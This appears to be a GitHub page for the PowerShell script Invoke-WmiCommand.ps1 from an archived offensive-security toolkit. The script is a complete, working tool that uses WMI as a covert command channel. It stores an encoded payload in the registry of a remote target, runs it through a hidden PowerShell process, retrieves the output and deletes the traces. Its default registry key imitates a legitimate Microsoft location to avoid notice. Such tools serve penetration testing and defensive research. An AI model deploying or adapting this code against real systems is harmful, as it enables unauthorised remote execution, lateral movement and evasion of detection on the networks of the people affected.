This repository was archived by the owner on Jan 21, 2021. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 4.7k
/
Copy pathInvoke-WmiCommand.ps1
334 lines (234 loc) · 13 KB
/
Invoke-WmiCommand.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
#Requires -Version 2
function Invoke-WmiCommand {
<#
.SYNOPSIS
Executes a PowerShell ScriptBlock on a target computer using WMI as a
pure C2 channel.
Author: Matthew Graeber
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Invoke-WmiCommand executes a PowerShell ScriptBlock on a target
computer using WMI as a pure C2 channel. It does this by using the
StdRegProv WMI registry provider methods to store a payload into a
registry value. The command is then executed on the victim system and
the output is stored in another registry value that is then retrieved
remotely.
.PARAMETER Payload
Specifies the payload to be executed on the remote system.
.PARAMETER RegistryKeyPath
Specifies the registry key where the payload and payload output will
be stored.
.PARAMETER RegistryPayloadValueName
Specifies the registry value name where the payload will be stored.
.PARAMETER RegistryResultValueName
Specifies the registry value name where the payload output will be
stored.
.PARAMETER ComputerName
Runs the command on the specified computers. The default is the local
computer.
Type the NetBIOS name, an IP address, or a fully qualified domain
name of one or more computers. To specify the local computer, type
the computer name, a dot (.), or "localhost".
This parameter does not rely on Windows PowerShell remoting. You can
use the ComputerName parameter even if your computer is not
configured to run remote commands.
.PARAMETER Credential
Specifies a user account that has permission to perform this action.
The default is the current user. Type a user name, such as "User01",
"Domain01\User01", or User@Contoso.com. Or, enter a PSCredential
object, such as an object that is returned by the Get-Credential
cmdlet. When you type a user name, you will be prompted for a
password.
.PARAMETER Impersonation
Specifies the impersonation level to use. Valid values are:
0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".)
1: Anonymous (Hides the credentials of the caller.)
2: Identify (Allows objects to query the credentials of the caller.)
3: Impersonate (Allows objects to use the credentials of the caller.)
4: Delegate (Allows objects to permit other objects to use the credentials of the caller.)
.PARAMETER Authentication
Specifies the authentication level to be used with the WMI connection. Valid values are:
-1: Unchanged
0: Default
1: None (No authentication in performed.)
2: Connect (Authentication is performed only when the client establishes a relationship with the application.)
3: Call (Authentication is performed only at the beginning of each call when the application receives the request.)
4: Packet (Authentication is performed on all the data that is received from the client.)
5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.)
6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.)
.PARAMETER EnableAllPrivileges
Enables all the privileges of the current user before the command
makes the WMI call.
.PARAMETER Authority
Specifies the authority to use to authenticate the WMI connection.
You can specify standard NTLM or Kerberos authentication. To use
NTLM, set the authority setting to ntlmdomain:<DomainName>, where
<DomainName> identifies a valid NTLM domain name. To use Kerberos,
specify kerberos:<DomainName\ServerName>. You cannot include the
authority setting when you connect to the local computer.
.EXAMPLE
PS C:\>Invoke-WmiCommand -Payload { if ($True) { 'Do Evil' } } -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1'
.EXAMPLE
PS C:\>$Hosts = Get-Content hostnames.txt
PS C:\>$Payload = Get-Content payload.ps1
PS C:\>$Credential = Get-Credential 'TargetDomain\TargetUser'
PS C:\>$Hosts | Invoke-WmiCommand -Payload $Payload -Credential $Credential
.EXAMPLE
PS C:\>$Payload = Get-Content payload.ps1
PS C:\>Invoke-WmiCommand -Payload $Payload -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1', '10.10.1.2'
.EXAMPLE
PS C:/>Invoke-WmiCommand -Payload { 1+3+2+1+1 } -RegistryHive HKEY_LOCAL_MACHINE -RegistryKeyPath 'SOFTWARE\testkey' -RegistryPayloadValueName 'testvalue' -RegistryResultValueName 'testresult' -ComputerName '10.10.1.1' -Credential 'TargetHost\Administrator' -Verbose
.INPUTS
System.String[]
Accepts one or more host names/IP addresses over the pipeline.
.OUTPUTS
System.Management.Automation.PSObject
Outputs a custom object consisting of the target computer name and
the output of the command executed.
.NOTES
In order to receive the output from your payload, it must return
actual objects. For example, Write-Host doesn't return objects
rather, it writes directly to the console. If you're using
Write-Host in your scripts though, you probably don't deserve to get
the output of your payload back. :P
#>
[CmdletBinding()]
Param (
[Parameter( Mandatory = $True )]
[ScriptBlock]
$Payload,
[String]
[ValidateSet( 'HKEY_LOCAL_MACHINE',
'HKEY_CURRENT_USER',
'HKEY_CLASSES_ROOT',
'HKEY_USERS',
'HKEY_CURRENT_CONFIG' )]
$RegistryHive = 'HKEY_CURRENT_USER',
[String]
[ValidateNotNullOrEmpty()]
$RegistryKeyPath = 'SOFTWARE\Microsoft\Cryptography\RNG',
[String]
[ValidateNotNullOrEmpty()]
$RegistryPayloadValueName = 'Seed',
[String]
[ValidateNotNullOrEmpty()]
$RegistryResultValueName = 'Value',
[Parameter( ValueFromPipeline = $True )]
[Alias('Cn')]
[String[]]
[ValidateNotNullOrEmpty()]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential,
[Management.ImpersonationLevel]
$Impersonation,
[System.Management.AuthenticationLevel]
$Authentication,
[Switch]
$EnableAllPrivileges,
[String]
$Authority
)
BEGIN {
switch ($RegistryHive) {
'HKEY_LOCAL_MACHINE' { $Hive = 2147483650 }
'HKEY_CURRENT_USER' { $Hive = 2147483649 }
'HKEY_CLASSES_ROOT' { $Hive = 2147483648 }
'HKEY_USERS' { $Hive = 2147483651 }
'HKEY_CURRENT_CONFIG' { $Hive = 2147483653 }
}
$WmiMethodArgs = @{}
# If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod
if ($PSBoundParameters['Credential']) { $WmiMethodArgs['Credential'] = $Credential }
if ($PSBoundParameters['Impersonation']) { $WmiMethodArgs['Impersonation'] = $Impersonation }
if ($PSBoundParameters['Authentication']) { $WmiMethodArgs['Authentication'] = $Authentication }
if ($PSBoundParameters['EnableAllPrivileges']) { $WmiMethodArgs['EnableAllPrivileges'] = $EnableAllPrivileges }
if ($PSBoundParameters['Authority']) { $WmiMethodArgs['Authority'] = $Authority }
$AccessPermissions = @{
KEY_QUERY_VALUE = 1
KEY_SET_VALUE = 2
KEY_CREATE_SUB_KEY = 4
KEY_CREATE = 32
DELETE = 65536
}
# These are all of the registry permissions we'll require
$RequiredPermissions = $AccessPermissions['KEY_QUERY_VALUE'] -bor
$AccessPermissions['KEY_SET_VALUE'] -bor
$AccessPermissions['KEY_CREATE_SUB_KEY'] -bor
$AccessPermissions['KEY_CREATE'] -bor
$AccessPermissions['DELETE']
}
PROCESS {
foreach ($Computer in $ComputerName) {
# Pass the individual computer name to Invoke-WmiMethod
$WmiMethodArgs['ComputerName'] = $Computer
Write-Verbose "[$Computer] Creating the following registry key: $RegistryHive\$RegistryKeyPath"
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CreateKey' -ArgumentList $Hive, $RegistryKeyPath
if ($Result.ReturnValue -ne 0) {
throw "[$Computer] Unable to create the following registry key: $RegistryHive\$RegistryKeyPath"
}
Write-Verbose "[$Computer] Validating read/write/delete privileges for the following registry key: $RegistryHive\$RegistryKeyPath"
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CheckAccess' -ArgumentList $Hive, $RegistryKeyPath, $RequiredPermissions
if (-not $Result.bGranted) {
throw "[$Computer] You do not have permission to perform all the registry operations necessary for Invoke-WmiCommand."
}
$EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Payload))
Write-Verbose "[$Computer] Storing the payload into the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $EncodedPayload, $RegistryPayloadValueName
if ($Result.ReturnValue -ne 0) {
throw "[$Computer] Unable to store the payload in the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
}
# Prep the script runner payload from the remote system
$PayloadRunnerArgs = @"
`$Hive = '$Hive'
`$RegistryKeyPath = '$RegistryKeyPath'
`$RegistryPayloadValueName = '$RegistryPayloadValueName'
`$RegistryResultValueName = '$RegistryResultValueName'
`n
"@
$RemotePayloadRunner = $PayloadRunnerArgs + {
$WmiMethodArgs = @{
Namespace = 'Root\default'
Class = 'StdRegProv'
}
$Result = Invoke-WmiMethod @WmiMethodArgs -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName
if (($Result.ReturnValue -eq 0) -and ($Result.sValue)) {
$Payload = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Result.sValue))
$SerilizedPayloadResult = Invoke-Expression ($Payload) | % {
[Management.Automation.PSSerializer]::Serialize($_, 4)
}
$null = Invoke-WmiMethod @WmiMethodArgs -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $SerilizedPayloadResult, $RegistryResultValueName
$null = Invoke-WmiMethod @WmiMethodArgs -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName
}
}
$Base64Payload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($RemotePayloadRunner))
$Cmdline = "powershell -WindowStyle Hidden -NoProfile -EncodedCommand $Base64Payload"
# Execute the payload runner on the remote system
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\cimv2' -Class 'Win32_Process' -Name 'Create' -ArgumentList $Cmdline
Start-Sleep -Seconds 5
if ($Result.ReturnValue -ne 0) {
throw "[$Computer] Unable execute payload stored within the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
}
Write-Verbose "[$Computer] Payload successfully executed from: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName
if ($Result.ReturnValue -ne 0) {
throw "[$Computer] Unable retrieve the payload results from the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
}
Write-Verbose "[$Computer] Payload results successfully retrieved from: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
$SerilizedPayloadResult = $Result.sValue
$PayloadResult = [Management.Automation.PSSerializer]::Deserialize($SerilizedPayloadResult)
$FinalResult = New-Object PSObject -Property @{
PSComputerName = $Computer
PayloadOutput = $PayloadResult
}
Write-Verbose "[$Computer] Removing the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
$null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName
Write-Verbose "[$Computer] Removing the following registry key: $RegistryHive\$RegistryKeyPath"
$null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteKey' -ArgumentList $Hive, $RegistryKeyPath
return $FinalResult
}
}
}